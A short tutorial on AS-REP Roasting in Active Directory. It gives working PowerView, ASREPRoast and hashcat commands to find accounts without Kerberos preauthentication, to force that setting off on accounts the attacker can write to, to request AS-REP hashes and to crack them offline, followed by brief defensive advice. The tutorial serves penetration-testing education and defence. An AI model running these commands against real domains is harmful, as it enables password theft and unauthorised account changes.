AS-REP Roasting

Forging Kerberos Ticket's with AS-REP Roasting

AS-REP Roasting is a technique that exploits a weakness in the Kerberos protocol during initial authentication with the key distribution centre(KDC)

During the  authentication stage, a user requests a Ticket Granting Ticket (TGT) from the KDC in the form of a AS-REQ packet.If the account exists, the KDC will return a TGT encrypted with the account’s credentials, meaning that only a valid user or machine possessing the valid credentials is able to decrypt the ticket.

Any user who is able to make a request to the KDC can also request a TGT for any arbitrary user. That allows an attacker to receive an encrypted ticket which can then be brute forced offline to retrieve the password.

If a user’s UserAccountControl settings have “Do not require Kerberos preauthentication” enabled i.e. Kerberos preauth is disabled, it is possible to grab user’s crackable AS-REP and brute-force it offline.

Enumerating accounts with Kerberos Preauth disabled using Powerview

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

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if we want to check for a specific user we can do

Get-DomainUser username | ConvertFrom-UACValue

and check if it  has DONT_REQ_PREAUTH property

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In case we don’t have preauth disabled but we have  GenericWrite or GenericAll rights.We can force kerberos preauth disabled. To do so we need to add 4194304(dont_req_preauth) property flag on the user.

Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

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Request encrypted AS-REP for offline brute-force.

We will use ASREPRoast but you can do it with Rubeus too.

Get-ASREPHash function, wraps New-ASReq to generate the appropriate AS-REQ for a given user/domain, enumerates the DC for the passed domain and sends the crafted AS-REQ and receives the response bytes

Get-ASREPHash -Domain domain -UserName username -Verbose

We can also use the Invoke-ASREQRoast function to find all the users that dont require kerberos preauthentication:

Invoke-ASREQRoast -Verbose | fl

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Cracking AS-REP Hashes with HashCat

we need to add 23 after the $krb5asrep like this:

[email protected]:….

and crack it

! hashcat -m 18200 -a 3 -O '[email protected]:...' /path/to/wordlist

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To defend against ASRepRoasting you need to search and identify for user accounts that are set to not require Kerberos pre-authentication and remove any instances of it. You can find these accounts by using a LDAP filter query

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

Another countermeasure is the use of long, complex passwords that are not found in breached wordlists, to make it harder for the attacker to crack them.

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